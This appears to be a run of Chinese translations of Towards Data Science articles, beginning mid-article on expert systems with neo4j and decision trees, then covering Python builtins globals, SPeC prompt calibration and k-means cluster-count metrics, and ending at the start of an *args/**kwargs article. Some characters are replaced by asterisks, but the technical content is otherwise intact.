特别是在纯研究项目中,我们经常看到 Protégé作为专家系统开发工具,也用于专题项目。该工具结合了知识存储(实体和对象属性)、规则(SWRL)、事实(个体)并提供预安装插件(HermiT)的推理引擎。我仍然认为 Protégé在教育和研究中很重要,特别是因为它是免费且易于入门的。但我不建议在工业项目中使用它,因为它在系统集成和用户界面设计方面有限制。在我看来,它是大学使用的工具,而不是公司使用的工具。
然而,现代工具中有一些具有 Protégé 部分功能的行业验证工具。最重要的是图形数据库,它们允许语义存储和语义分析信息。因此,在一定程度上,我们可以将本体表示为知识图谱。为此,neo4j 提供了一个名为“neosemantics”的 RDF 插件,它是 Protégé 中本体的数据模型标准。因此,我们可以在 Protégé 中创建本体并将其导出到 neo4j 以便进一步的软件集成。插件 neosemantics 也提供了推理引擎,不过,我们也可以通过 Cypher 来进行推理,Cypher 是 neo4j 的标准查询语言。
示例
那么推理或推断是什么?让我们看看以下由人员和性别组成的数据库。我们看到有一些关系指示一个人的性别(在简化的二元世界中)为“IS_A”,以及人员节点之间的家庭关系为“IS_Parent”。
初始数据库(作者)
现在我们可以区分显式存储的知识和传递知识。显式知识是我们在图中看到的内容,以及我在上面的段落中描述的内容。然而,从我们日常经验中我们知道,根据这些可用的信息,这些人员之间还有更多关系:兄弟姐妹、祖父母、叔叔等。与其手动搜索和/或输入数据库中的所有这些关系,不如使用推理技术自动创建这些知识。
祖父母
让我们从一个简单的开始:祖父母是一个人的父母的父母。因此在我们的图形数据库中,我们寻找的是多级的“IS_Parent”关系,如 PersonA →PersonB →PersonC。在这种情况下,我们可以说 PersonC 是 PersonA 的孙辈,而 PersonA 是 PersonC 的祖父母。我们可以通过以下通用语句推断出这一信息:
MATCH (a:Person)-[:IS_Parent]->(b:Person)-[:IS_Parent]->(c:Person)
return a.name as grandparent, c.name as grandchild
这个声明的结果显示在下面的截图中。我们看到 Max 和 Anna 都是 Betty 的孙辈。为什么?因为 Betty 是 Franz 的父母,而 Franz 是 Max 和 Anna 的父母。
祖父母结果(作者)
兄弟姐妹
另一种类型的传递知识是兄弟姐妹关系。我们在寻找有相同父母的人员,这意味着我们在寻找 PersonA ←PersonB 和 PersonC ←PersonB 的共同“IS_Parent”关系。我们可以通过以下语句查询这些信息:
MATCH (a:Person)<-[:IS_Parent]-(b:Person),
(c:Person)<-[:IS_Parent]-(b:Person)
return distinct a.name as sibling_a, c.name as sibling_b
这个声明的结果显示在下面的截图中。我们看到 Max 和 Anna 是兄弟姐妹。由于匹配查询适用于两种视角,我们得到两个结果记录。这在技术上也是有效的,因为 neo4j 不支持双向或非定向关系。如果 Anna 是 Max 的兄弟姐妹,而 Max 又是 Anna 的兄弟姐妹,那么我们就有两个独立的关系。
兄弟结果(作者)
持久化传递知识
对于这种按需查询的用例是存在的,但也有其他用例中,我们希望将新的传递知识存储到数据库中。如果多个用户同时使用数据库,这特别有用——在这种情况下,隐藏任何可能对业务相关的传递知识是没有意义的。在这种情况下,我们可以使用合并子句创建节点之间的新(唯一)关系,如以下语句所示:
Match (a:Person)<-[:IS_Parent]-(b:Person),
(c:Person)<-[:IS_Parent]-(b:Person)
Merge (a)-[r:IS_SIBLING]->(c)
注意:除了新的关系之外,我们还可以推断并保存新的节点、标签和属性。
如果我们查询整个数据库,我们会看到安娜和马克斯之间额外的“IS_SIBLING”关系:
修改后的数据库(作者)
应该强调的是,这种手动推理类型不考虑前向/后向推理,这些通常是推理引擎所需的功能,例如支持复杂的定理证明。因此,如果你对这些功能感兴趣,可以从这里(一般介绍)和这里(使用 neo4j 进行推理)开始阅读。
自学习专家系统
现在的问题是,我们作为人类是否总是需要事先知道这些规则,或者是否需要手动准备我们想要查询的规则以提取传递知识。简短的答案是:不!这使我们看到数据驱动的机器学习和基于规则的专家系统这两个通常分开的领域之间的有趣联系:我们可以应用决策树从经验数据中建立规则,这些规则仍然是“白盒”的,因为它们对用户是透明的。决策树不限于图数据库,Python 中的 scikit-learn 库需要将数据结构从图结构转换为扁平结构,例如 pandas 数据框——所以我们现在忽略图模型,直接跳到我们有一个包含选定数字特征的扁平数据框的地方。
假设我们为一个汽车销售商工作,我们想要建立一个专家系统,告诉销售人员某个访客是否可能购买汽车。我们可以使用历史销售数据来推导出从以前购买决定中得到的规则,而不是根据自己的经验开发规则。这是我们在讨论决策树时应注意的:我们处理的是概率。即使树预测一个人可能会买车,也不意味着这个人真的会买车。我们可以在下面的图中看到汽车销售商的决策树分类的可能结果。
汽车销售商的决策树分类(作者)
除了图形表示,我们还可以提取新的决策规则,以逻辑“if-then”格式呈现,如这篇文章所述。
if (Age <= 44.5) and (Annual Salary <= 90750.0) and (Annual Salary <= 69750.0) then class: No Purchase (proba: 100.0%) | based on 258 samples
if (Age <= 44.5) and (Annual Salary <= 90750.0) and (Annual Salary > 69750.0) then class: No Purchase (proba: 89.02%) | based on 173 samples
if (Age > 44.5) and (Age > 47.5) and (Annual Salary > 41750.0) then class: Purchase (proba: 82.78%) | based
on 151 samples
if (Age > 44.5) and (Age > 47.5) and (Annual Salary <= 41750.0) then class: Purchase (proba: 98.46%) | based on 65 samples
if (Age <= 44.5) and (Annual Salary > 90750.0) and (Annual Salary <= 119750.0) then class: Purchase (proba:
67.35%) | based on 49 samples
if (Age <= 44.5) and (Annual Salary > 90750.0) and (Annual Salary > 119750.0) then class: Purchase (proba: 97.67%) | based on 43 samples
if (Age > 44.5) and (Age <= 47.5) and (Annual Salary > 53250.0) then class: No Purchase (proba: 50.0%) | based on 34 samples
if (Age > 44.5) and (Age <= 47.5) and (Annual Salary <= 53250.0) then class: Purchase (proba: 85.19%) | based on 27 samples
假设我们已经验证了这个决策树模型,并将其集成到用户界面中,那么汽车销售员可以输入一些个人访客信息,以获得一个响应,告诉他这个访客是否可能会买车。让我们查看以下示例:
a) 如果一个潜在客户进入商店,具有以下属性:女性,年龄=28 岁,年薪=78,000 — 这个人可能会买车吗?→ 我们的决策树说:不(标记为“0”)。
b) 如果一个潜在客户进入商店,具有以下属性:男性,年龄=28 岁,年薪=118,000 — 这个人可能会买车吗?→ 我们的决策树说:是的(标记为“1”)。
我们看到,这样的系统将提供类似于传统专家系统的功能,适用于这个汽车销售领域。好处在于,这种基于决策树的专家系统能够从新数据中学习,从而不断改进规则。然而,我们需要记住,这种类型的专家系统依赖于概率,因此响应通常不是 100%准确的。与传统专家系统不同,传统专家系统由于应用了逻辑推理,响应在逻辑上是准确的(至少如果基本公理正确的话)。但我们需要考虑建立和*护知识库和规则的高手动成本,同时也需要考虑即使是专家也可能犯错,这需要额外的验证工作。因此,最终这是一种*护效率与预测质量之间的权衡。
结论
在定义了什么是专家系统之后,我们看到专家系统仍在使用、开发或至少在研究出版物中被引用,且出版趋势甚至是积极的。从这个角度来看,我们可以清楚地回答最初的问题:专家系统已经死了吗?没有!我们讨论了几个主题项目及其领域,以了解专家系统的广度。最后,我们讨论了一些图形数据库的特性,由 neo4j 代表,来执行通常与专家系统相关的任务。这些关键任务一方面是显性知识的语义存储,另一方面是基于规则的新传递知识推理。当然,neo4j 在数据存储和分析方面提供了更多功能,但我认为,上述简单示例足以理解 neo4j 作为专家系统一部分的知识库的能力。此外,我们还简要讨论了如何通过决策树从数据中构建规则,从而允许开发自学习的专家系统。
那么,我们什么时候应该考虑应用专家系统(ES)?
-
在我们尚未拥有数据的情况下无法使用机器学习模型。例如:在没有可靠参考产品的情况下,开发和验证新产品发布的资格计划。
-
在我们受规则驱动且已知规则已经静态且不由数据驱动的情况下。例如:根据其他详细信息推断业务定义的分类主数据,例如生产机器的特定结构和设置。
-
在我们拥有数据并希望使用和理解决策规则的情况下,并且我们知道规则可能会随时间变化。我们可以使用决策树,而不是手动开发和*护规则。例如:基于经验数据理解和推断客户行为。
结尾附上一个有趣的事实:我问了 ChatGPT,它不认为自己是一个专家系统,因为它没有针对特定领域进行训练以提供专家级建议。
来源
Bhattacharya, K., Gangopadhyay, S., DeBrule, C. (2021). 复杂的监管和技术实施项目中的决策专家系统设计。收录于:Chakrabarti, A., Poovaiah, R., Bokil, P., Kant, V. (编辑) 未来设计——第 3 卷。智能创新、系统与技术,第 223 卷。Springer,Singapore。doi.org/10.1007/978-981-16-0084-5_50
Chrimes, D. (2023). 将决策树作为 COVID-19 临床决策支持的专家系统。Interact J Med Res 2023; 12:e42540
URL:www.i-jmr.org/2023/1/e42540
。 DOI: 10.2196/42540
Rak, Massimiliano & Salzillo, Giovanni & Granata, Daniele. (2022). ESSecA:一个用于物联网生态系统的威胁建模和渗透测试的自动化专家系统,《计算机与电气工程》,第 99 卷,2022,107721,ISSN 0045–7906,doi.org/10.1016/j.compeleceng.2022.107721
。
Python 中的全局变量真的全局吗?
原文:
towardsdatascience.com/are-globals-in-python-really-global-492f1e4faf9b
PYTHON 编程
学习一个技巧,使 Python 对象真正成为全局的。
·发表于Towards Data Science ·阅读时间 8 分钟·2023 年 11 月 17 日
--
真正的全局变量意味着可以从任何地方访问。照片由Markus Spiske拍摄,来源于Unsplash
Python 是否提供全局变量?
直接的回答是,Python 确实提供了全局变量。确实,只需查看Python 官方文档即可了解到…
在 Python 中,仅在函数内部引用的变量是隐式全局的。如果一个变量在函数体内的任何地方被赋值,默认假设它是局部变量,除非明确声明为全局变量。
所以,Python 确实提供了全局变量。更重要的是,全局变量构成了一个相当有争议的话题,因为使用它们可能会给开发者和用户带来严重的困难。
你可能会想,为什么我们要使用这么有争议的编程工具。这是一个合理的问题——但答案很简单。全局变量是编程工具之一,只要正确使用,它们可以非常有用。然而,如果使用不当,它们可能会带来更多的坏处而非好处。
全局变量是编程工具之一,只要正确使用,它们可以非常有用。然而,如果使用不当,它们可能会带来更多的坏处而非好处。
全局变量可以从程序中的任何地方访问。因此,如果你需要一个特定对象在任何地方都能访问——这就是你创建全局对象的原因。
你可以创建在程序执行期间不改变的全局常量;以及可以改变的全局变量。因此,全局常量是字面值。例如,可以是公司的名称、圆周率的值或任何数学常量。全局变量可以是价格、需求或颜色;这些值可以改变,这就是它们是变量的原因。
Python 的命名约定如下:全局常量使用大写字母(PI
),全局变量使用*写字母(price
)。
全局变量是编程中的一个典型话题,但这并不意味着它们在每种编程语言中都表现相同。Python 中的全局变量有其自身的特殊性,任何 Python 开发者都必须了解它们的工作方式。
在本文中,我们将探讨什么构成全局变量的本质:全局作用域。我会向你展示在 Python 上下文中全局的含义,以及我们通常认为的 Python 中的全局变量并不一定是真正的全局。
我们还将分析这个问题的影响——我会展示如何在编码实践中利用这些知识。这需要知识、技能和——最重要的是——谨慎,因为这些是相当微妙的事项,容易导致重大错误。
什么是全局变量?
本文旨在探讨全局变量的本质:全局作用域。全局变量具有全局作用域,其值可以改变,而全局常量则具有全局作用域,其值不可改变。
我们将讨论是否在 Python 程序中使用全局变量的事宜留到另一天。首先,这是一个如此重要的话题,值得我们全神贯注,因此值得一篇专门的文章。其次,讨论这些内容时,我们需要了解更多关于 Python 中的全局作用域的知识,这是本文所介绍的。
全局变量一般
正如 Tony Gaddis 在他的书籍中解释的,全局变量可以在程序中的所有模块中使用。换句话说,全局作用域是整个程序,因此全局变量或常量可以在程序的每个模块中使用。
这是一个非常简洁的解释,但这正是我们所需的,因为全局变量的定义并不复杂。
Python 中的全局变量
你会发现 Python 中的全局定义更复杂。有趣的是,官方 Python 文档对全局变量的描述并不多。你可以阅读我上面链接的*节,也可以阅读the [global](https://docs.python.org/3/reference/simple_stmts.html#the-global-statement)
statement itself。你还应该注意PEP8中的这一点,其中样式指南解释了全局变量的命名约定:
希望这些变量仅用于一个模块内部。
换句话说,希望全局变量是用于模块级别,而不是完全的全局级别。
问题是,你知道如何使用 Python 中真正全局的对象吗?在接下来的部分,我将向你展示它们是什么以及如何使对象在整个程序中全局。这样的对象在特定的 Python 会话中可以从任何模块访问,而无需导入,就像sum
、list
和许多其他对象一样,它们在不实际导入的情况下就可以使用。
模块全局作用域
模块全局作用域就是字面上的意思:特定模块的全局作用域。最好通过一个例子来展示这一点:
# module_scopes.py
# define globals
COMPANY_NAME = "The Global Bindu Company"
year = 2023
# use globals in a function
def represent():
return f"{COMPANY_NAME} in {year}"
好吧,那么我们有什么呢?首先,我们有两个全局对象:
-
COMPANY_NAME
— 一个全局常量 -
year
— 一个全局变量
然后我们有一个函数represent()
,它使用了这两个全局变量。让我们看看它的实际效果:
>>> import module_scopes
>>> module_scopes.represent()
The Global Bindu Company in 2023
>>> module_scopes.year = 2024
>>> represent()
The Global Bindu Company in 2024
你刚刚看到的是 Python 中通常理解的全局作用域:模块全局作用域。现在是时候继续讨论程序全局作用域了。
程序全局作用域
在 Python 中,唯一可以从所有模块访问的全局变量是那些在builtins
模块中的变量。
它包含了例如上述提到的sum
和list
对象以及许多其他对象,如异常(例如,ValueError
或Exception
)或各种函数(例如,any
或all
)。所以,基本上,任何通过builtins
模块提供的东西都可以在 Python 会话中的所有模块中使用。
现在,进行我们的简单*技巧。如果你对 Python 不陌生,你可能已经自己想到这个方法了。如果你想让一个对象成为全局的,只需将其添加到builtins
模块中。这会立即使该对象在会话中的所有模块中可用,而无需导入任何内容。当然,我们说的是特定的会话,即对象已被添加到builtins
作用域的会话。
如果你想让一个对象成为全局的,只需将其添加到
builtins
模块中即可。
让我们看看这个技巧是如何工作的。首先,创建一个main.py
模块:
# main.py
import builtins
builtins.SCREAM = "SCREAM!!!"
现在创建另一个模块,use.py
,位于同一目录下:
# use.py
def scream(n: int) -> str:
return SCREAM * n
正如你所见,scream()
函数使用了 SCREAM
对象,即使它在 use
模块中既没有定义也没有导入。我们确切知道的是,它在 main
模块中的 builtins
模块中被定义并添加。这样会有效吗?
首先,请注意 Pylance 不会喜欢在 use
模块中使用 SCREAM
对象:
Pylance 并不知道 SCREAM 已经被添加到内建函数中。截图来自 Visual Studio Code,作者提供
[mypy](https://mypy.readthedocs.io/en/stable/)
也不会喜欢:
[Mypy](https://mypy.readthedocs.io/en/stable/)
并不知道 SCREAM 已经被添加到内建函数中。截图来自 Visual Studio Code,作者提供
那么,这是否被认为是静态错误呢?
即使我们能让它动态运行,这也是一个静态错误,因为是否能正常工作取决于导入的顺序。如果你只是导入use
并运行scream()
函数,你将会遇到一个错误:
use.scream(2)失败:SCREAM 未定义。截图来自 Visual Studio Code,作者提供
但是,如果你先导入main
然后再导入use
,你可能会惊讶地发现scream()
函数可以正常工作:
use.scream(2) 成功:SCREAM 已经被添加到内建函数中。截图来自 Visual Studio Code,作者提供
这次它起作用了,因为当我们导入main
时,这些代码行被执行了:
内建函数破解:SCREAM 现在是一个真正的全局对象。截图来自 Visual Studio Code,作者提供
这样,builtins
模块创建了一个新的对象,SCREAM
。从现在起,你可以使用 SCREAM
:
内建函数破解:SCREAM 现在是一个真正的全局对象。截图来自 Visual Studio Code,作者提供
结论
在文章中,我向你展示了一个*技巧,使 Python 对象真正成为全局对象。你可能没见过这种方法,但这并不意味着它完全没有用。
一个例子是 [tracemem](https://github.com/nyggus/tracemem/)
Python 包。在 它的文档 中,你将看到以下关于 tracemem
如何利用 builtins
全局作用域的解释:
由于
*tracemem*
这个功能用于调试来自不同模块的内存使用,因此在所有这些模块中导入所需的对象会很不方便。这就是为什么所需的对象被保留在全局作用域中的原因……
无论你是否觉得这个解释有说服力,我相信了解这个技巧是有价值的。它是那些可以显著扩展你 Python 知识的东西,通过帮助你掌握语言的复杂性。
然而,是否在你的编码实践中使用builtins
全局变量是另一回事。我确信一点:在没有对 Python 中全局变量的操作有深入理解的情况下,你绝不应该决定使用它。
我称之为技巧,但永远不要忘记,所有在会话中可用的 Python 对象都是通过builtins
全局变量提供的。然而,这并不意味着你应该对任何全局变量使用这种方法:任何全局变量并不等同于 Python 内置对象。
因此,你绝对不应该过度使用这个技巧。它不仅可能引入静态和动态错误,还可能使代码难以阅读和理解。然而,在少数情况下,你可能会觉得尽管有这些缺点,这正是你所需要的。
如果是这种情况,请暂停并重新考虑你的决定。然后,再考虑一次,甚至再考虑一次。与项目成员讨论。在经过这彻底的评估后,如果没有人提出异议,才考虑使用这种方法。
无论你是否在自己的项目中使用这个概念,理解builtins
作用域和全局变量的工作原理都是至关重要的。这是因为builtins
作用域建立了 Python 的基本作用域,没有理解这一点,你永远无法真正了解 Python 的工作机制。
感谢阅读。如果你喜欢这篇文章,你也可能会喜欢我写的其他文章;你可以在这里看到它们。如果你想加入 Medium,请使用我下面的推荐链接:
## 通过我的推荐链接加入 Medium - Marcin Kozak
作为 Medium 的会员,你的部分会员费用将用于你阅读的作者,你可以完全访问每一篇故事…
大型语言模型(LLMs)生成的提示可靠吗?
原文:
towardsdatascience.com/are-prompt-generated-by-large-language-models-llms-reliable-4162fd10c845
释放大型语言模型(LLMs)与自动生成提示的力量
·发布于 Towards Data Science ·6 分钟阅读·2023 年 4 月 14 日
--
图 1. 两个不同的 ChatGPT 生成提示的性能变异示例
大型语言模型(LLMs)的快速发展,包括 ChatGPT 和 GPT-4,已经彻底改变了数据科学。过去,数据科学家通常需要花费大量时间来准备数据、设计模型并进行调整以解决各种问题。而现在,随着 LLMs 的出现,我们可以在纯数据驱动的方式下完成许多任务,而无需花费任何建模工作(参见 数据驱动 AI 框架)。
推进的一个关键理念是提示,它指的是使用特定的输入文本或问题来引导语言模型生成所需的输出。例如,在总结一篇长文章时,我们可以向 LLM 提供一个提示,比如“用一句话总结以上内容”,并输入文章文本。这使得 LLM 能够生成文章的简洁总结,帮助研究人员快速提取相关信息。提示的使用开辟了数据科学的新机会,使科学家能够简化工作流程,提高生产力。
创建有效的提示仍然是一个重大挑战,因为即使是看似相似的提示也可能产生截然不同的输出。例如,使用“写一个简要总结”或“提供一个简洁的总结”可能会导致大相径庭的总结,如图 1 所示。这种输出的变异可能使数据科学家难以确定使用哪个提示来实现预期的结果。
为了应对创建有效提示的挑战,自动提示可以是一个可行的解决方案,它利用 LLM 直接生成提示模板。例如,在总结临床笔记时,可以通过提问“什么是总结临床笔记的有效提示?”来请求 LLM 提供提示建议。模型随后可以生成各种针对特定任务的提示候选,从而可能加速有效提示创建的过程。
由 LLM 生成的提示通常在质量上具有不可预测性,导致输出结果表现出显著的变异性。这反过来又需要大量的手动工作来逐一检查每个候选提示。在本文中,我们将介绍一个名为 SPeC 的框架,以提高 LLM 生成的提示的有效性和可靠性。SPeC 利用软提示令牌来校准性能变异性,同时保留 LLM 生成提示带来的性能提升,从而实现明显更一致的输出。
LLM 中的提示调整
图 2. 提示调整。图像来自于arxiv.org/abs/2303.10158
的论文,经过原作者许可。
提示调整是继数据驱动 AI概念之后对数据科学的一次革命。除了收集更多的训练数据,提示调整是一种提高 LLM 性能的替代方法,无需进一步的微调。值得注意的是,有效的提示是提示调整成功的关键因素,因为特定的输入词语可以激发 LLM 所学到的相应信息,从而显著提高 LLM 在特定下游任务中的适应性和性能。数据科学家和研究人员可以从这一方法中受益匪浅,因为它使他们能够高效且有效地利用 LLM 在各种下游任务中。谷歌研究的首席主管杰夫·迪恩也提倡这一方法。
如何自动生成提示?
设计一个有效的提示从来不是一件简单的事,因为仍然需要大量领域特定的专业知识来提取某些关键词和句子以形成提示。强大的 LLM 的出现使用户可以通过利用自动生成的提示来提高他们在指定任务中的生产力。当用户向 LLM 输入问题时,它可以生成相应的提示模板。例如,数据科学家可以向 ChatGPT 询问有关文本摘要的好提示,然后利用得到的反馈来进行文本摘要。这种方法可以显著简化工作流程,为用户节省大量时间和精力。
自动生成的提示可靠吗?
然而,LLM 生成的提示质量可能高度不可预测,这反过来会导致 LLM 性能方差的显著增加。即使提示在语义上相似,它们也可能产生截然不同的输出。例如,如图 1 所示,从冻结的 LLM 生成的提示-2 和提示-1 虽然高度相似,但产生了完全不同的总结。这一问题在高风险领域尤其成问题,如金融和医疗行业,其中生成提示的方差可能会削弱研究人员和工程师对 LLM 结果的信任。因此,关键是找到控制 LLM 生成的提示质量的方法,以确保其输出的可靠性,特别是在这些领域。
我们可以信任生成提示的结果吗?
实际上,答案是否定的。LLM 中经常出现的不确定性对需要信任这些模型生成结果的科学家来说是一个重大问题。如果 LLM 生成的提示也出现显著的不确定性,它可能会严重削弱科学家对结果的信心。因此,必须有一种机制来减少由这些自动生成的提示质量引起的输出方差,以确保 LLM 能够更可靠地工作。
基于软提示的 LLM 校准
图 3. 基于软提示的校准(SPeC)框架概述。图像来源于论文 arxiv.org/abs/2303.10158
经原作者许可。
受数据驱动的人工智能概念的启发,一个框架基于软提示的校准(SPeC),如图 3所示,讨论了减少不同提示结果方差的技术。SpeC 框架利用软提示令牌来校准性能的变异,同时保持由 LLM 生成的提示带来的性能提升。软提示令牌可以是与输入文本语义相关的任何句子。例如,“放射科医师描述检查中的稳定异常”可以作为临床笔记总结的良好软提示令牌。通过这种方式,给定一个经过良好训练的软提示编码器,通过将软提示令牌与输入文本一起添加,我们将能够实现 LLM 的稳定推断结果。例如,医学医生可以通过使用相关的关键词或术语轻松提供适当的软提示令牌,以获得一致的期望结果。
临床笔记总结的实验分析
SPeC 框架在一个重要的医疗任务——医生的临床笔记总结中进行了评估。在这项工作中,LLM 生成的提示是通过向 ChatGPT 提问“什么是一个好的临床笔记总结提示?”来收集的。
SPeC 有效指导了那些已被冻结的预训练 LLMs,以在临床笔记总结中减少变异性。这确保了 LLMs 能够保持使用 ChatGPT 生成的提示所带来的性能改进,同时减少性能的变异性,以确保最终的临床总结更加准确,并忠实于原始数据。
SPeC 在保持冻结的预训练 LLMs 一致总结性能方面的有效性在其案例研究中得到了证明,该研究强调了如果不使用 SPeC 可能导致的错误结果(以红色标出)。研究结果显示在图 4中。
图 4. Flan-T5 使用和不使用 SPeC 的性能变异性比较。
SPeC 框架如何在日常工作流程中使用?
在数据中心化人工智能的时代,LLMs 具有通过提供快速和准确的分析以及使用提示调优技术来彻底改变数据科学的潜力,从而实现更高效和有效的工作流程。然而,关于 LLMs 输出的不确定性已引发了一些担忧,特别是在需要做出关键和紧急决策的情况下。重要的是要解决这些担忧,以确保 LLMs 可以有效地融入人工智能系统中。
SPeC 框架有效减轻了科学家在使用 LLMs 时提出的不确定性担忧,提高了他们对 LLMs 做出决策的信任度。例如,对于生物医学数据科学家来说,SPeC 框架在提供可靠和一致的医疗信息总结方面的成功,具有使医疗从业人员能够为优化患者护理做出明智决策的潜力。
资源
你可以通过以下论文了解更多关于 SPeC 如何在医疗保健行业提供帮助,并提高医疗专家对 LLMs 做出决策的信任度:
-
[2] 数据中心化人工智能:综述
-
[3] 优秀的数据中心化人工智能
如果你对如何在不同的下游任务中应用 SPeC 感兴趣,可以在Github 仓库中找到更多说明。
你还在使用 Elbow 方法吗?
原文:
towardsdatascience.com/are-you-still-using-the-elbow-method-5d271b3063bd
Elbow 方法是确定 k-means 聚类数目最受欢迎的方式。但还有更好的替代方法。
·发布于Towards Data Science ·7 分钟阅读·2023 年 2 月 3 日
--
[作者提供的图片]
我请 ChatGPT 建议如何选择k-means 的合适聚类数目。这是回答:
[来自 ChatGPT 的截图: chat.openai.com/chat
]
ChatGPT 建议使用所谓的“Elbow 方法”,这是迄今为止在许多在线和离线来源中被引用最多的方法。
然而,Elbow 方法的流行程度实在难以解释!事实上,正如我们将在本文中看到的,这种方法几乎总是被不同的现有方法超越。
如果你想知道如何轻松超越 Elbow 方法来确定数据集的最佳聚类数目,请继续阅读。
测试肘部
Elbow 方法背后的逻辑如下。
由于我们想知道最佳聚类数目(k),我们尝试不同的k值,例如,所有整数值从 1 到数据集观测值数量的平方根。在每次迭代中,我们记录所谓的“惯性”。
inertia = []
for k in range(1, 14):
inertia.append(KMeans(n_clusters=k).inertia_)
惯性是每个点与其所属聚类中心之间的平方距离之和。因此,可以预期惯性随着k的增加而减*。事实上,随着聚类数目的增加,每个聚类会更*,因此每个点离其聚类中心更近。最终,当k等于数据点的数量时,惯性必然为零。
其核心思想是* k*的最佳值是惯性曲线的最大曲率点。这个点是惯性值较低但额外复杂度(即更多的聚类)不值得的地方。这个点被称为曲线的肘部。
为了定位惯性曲线的肘部,我们可以使用一个名为kneed
的 Python 库:
from kneed import KneeLocator
k_elbow = KneeLocator(
x=range(1, 14),
y=inertia,
curve="convex",
direction="decreasing").elbow
让我们看看一个由 3 个簇组成的二*数据集的例子:
在玩具数据集上的肘部法则。 [图片来源:作者]
在这种情况下,肘部法则猜对了正确的簇数:3。但它在其他数据集上也会有效吗?
让我们看看。
等大*的簇。 [图片来源:作者]
肘部法则在三个数据集(2、3 和 5)中猜对了正确的簇数,但在另外两个例子(10 和 25)中严重低估了簇数。
好的,肘部法则可能没有如我们所希望的那样有效。但是市场上有没有更好的方法?
超越肘部法则
肘部法则是基于惯性(inertia)的,它是一个聚类拟合优度的评分。但如果我们想使用不同的方法,我们就需要使用不同的评分。
让我们看看 Scikit-Learn 中直接可用的选项。
Scikit-Learn 中可用的聚类指标列表。 [来自 Scikit-Learn 文档 的截图]
实际上,许多这些指标对我们不起作用,因为它们需要 labels_true
作为输入,而我们希望在没有真实标签的情况下测试这些方法。
因此,在这个列表中,我们只能使用那些以 X
和 labels
作为输入的指标。因此,只有“Calinski-Harabasz”、“Davies-Bouldin”和“Silhouette”对我们有效。
除此之外,我还将添加一个在 Scikit-Learn 中未实现的评分指标。这个评分是“BIC”(贝叶斯信息准则),我会包含它,因为这篇论文显示它表现得非常好。对于 BIC,我将使用 Bob Hancock 在这个 GitHub 仓库中实现的版本。由于代码是用 GoLang 编写的,我已经将其翻译成了以下 Python 函数:
def bic_score(X, labels):
"""
BIC score for the goodness of fit of clusters.
This Python function is directly translated from the GoLang code made by the author of the paper.
The original code is available here: https://github.com/bobhancock/goxmeans/blob/a78e909e374c6f97ddd04a239658c7c5b7365e5c/km.go#L778
"""
n_points = len(labels)
n_clusters = len(set(labels))
n_dimensions = X.shape[1]
n_parameters = (n_clusters - 1) + (n_dimensions * n_clusters) + 1
loglikelihood = 0
for label_name in set(labels):
X_cluster = X[labels == label_name]
n_points_cluster = len(X_cluster)
centroid = np.mean(X_cluster, axis=0)
variance = np.sum((X_cluster - centroid) ** 2) / (len(X_cluster) - 1)
loglikelihood += \
n_points_cluster * np.log(n_points_cluster) \
- n_points_cluster * np.log(n_points) \
- n_points_cluster * n_dimensions / 2 * np.log(2 * math.pi * variance) \
- (n_points_cluster - 1) / 2
bic = loglikelihood - (n_parameters / 2) * np.log(n_points)
return bic
总结一下,我们现在有五个评分可以进行比较:
-
Inertia(肘部法则);
-
Calinski-Harabasz;
-
Davies-Bouldin;
-
Silhouette;
-
BIC。
流程是一样的:对于每个数据集,我们使用 k = 1、k = 2、k = 3 等来拟合 k-均值。对于每个 k,我们计算这五个评分。这意味着我们会得到五条曲线,每条曲线对应一个指标。
现在,我们如何决定最佳的 k 值?对于惯性(inertia),我们已经知道答案:它是位于“肘部”处的点。其他评分的使用更为简单,因为它们的行为要么是“越高越好”,要么是“越低越好”:
-
Inertia → 肘部法则更好;
-
Calinski-Harabasz → 越高越好;
-
Davies-Bouldin → 越低越好;
-
Silhouette → 越高越好;
-
BIC → 越高越好。
那么让我们看看这些评分在我们的五个数据集上的表现如何。
五个数据集及其各自的曲线。[作者提供的图片]
如我们所见,肘部法则正确猜测了三个数据集,但在剩下的两个数据集中完全失误。相反,其他方法正确猜测了所有数据集(除了 Davies-Bouldin 在第五个数据集上的结果,不过它非常接近真实值:24 而非 25)。
但也许这些数据集太简单了。实际上,所有数据集都是由大*相同的簇组成的。这种情况不太可能出现:在大多数真实数据集中,我们期望簇的观测值数量是不同的。
所以让我们看看不等大*的簇会发生什么。
不同大*簇的五个数据集。[作者提供的图片]
这一次,肘部法则与其他方法之间的差异比之前更为明显。事实上,尽管肘部法则只对一个簇做出了正确的选择,但其他四种方法都正确猜测了所有五个数据集。
这些例子很有趣,但它们仍然没有告诉我们哪种方法更优。为了回答这个问题,我们应该进行大规模的比较。
系统性比较
我构建了 30 个数据集,每个数据集有不同数量的簇,从 1 到 30。每个簇有不同数量的观测值。
对于每个数据集,我尝试了不同的k值,并记录了五个结果分数(Inertia、Calinski-Harabasz、Davies-Bouldin、Silhouette 和 BIC)。然后,根据我们上面看到的规则,我确定了每种方法推荐的k值。
为了决定哪种方法是赢家,我绘制了每个数据集的真实簇数量(x-轴)和每种方法建议的簇数量(y-轴)。显然,最佳方法是与对角线距离最近的。
真实簇的数量(x 轴)和每种方法估计的簇数量(y 轴)。[作者提供的图片]
从图中可以明显看出,肘部法则是表现最差的。Davies-Bouldin 和 Silhouette 大多数时候是正确的,或者至少非常接近真实值(除了当真实的k等于 1 时)。但明显的赢家(并列)是 Calinski-Harabasz 和 BIC。
我们还可以通过计算方法正确猜测簇的真实数量的次数(准确性)以及它们平均偏离真实值的距离来总结这些视觉见解:
准确性和与真实值的平均距离。[作者提供的图片]
Calinski-Harabasz 和 BIC 在 97%的情况下(30 个数据集中的 29 个)是正确的,这相当令人印象深刻。Silhouette 在 73%的时间(30 个数据集中的 22 个)是正确的,而 Davies-Bouldin 在 70%的情况下(30 个数据集中的 21 个)是正确的。肘部法则则远远落后,只有 13%(30 个数据集中的 4 个)。
结论
在这篇文章中,我们看到,尽管它很受欢迎,肘部法则实际上是设置数据集聚类数量时最差的选择。事实上,我们测试的所有四种替代方法都比肘部法则表现得好得多。特别是,Calinski-Harabasz 和 BIC 表现极为出色,在 30 个数据集中只有一个错误。
你可以在这个笔记本中找到本文使用的所有 Python 代码。
感谢阅读!
如果你觉得我的工作有用,你可以订阅 每次发布新文章时获取邮件通知 (通常是每月一次)。
如果你想支持我的工作,你可以 请我喝杯咖啡。
如果你愿意, 在 Linkedin 上添加我!
*args, **kwargs 和一切介于两者之间
原文:
towardsdatascience.com/args-kwargs-and-everything-in-between-ff7d9b536494
Python 中的函数参数和实参基础
·发表于Towards Data Science ·阅读时间 6 分钟·2023 年 7 月 18 日
--
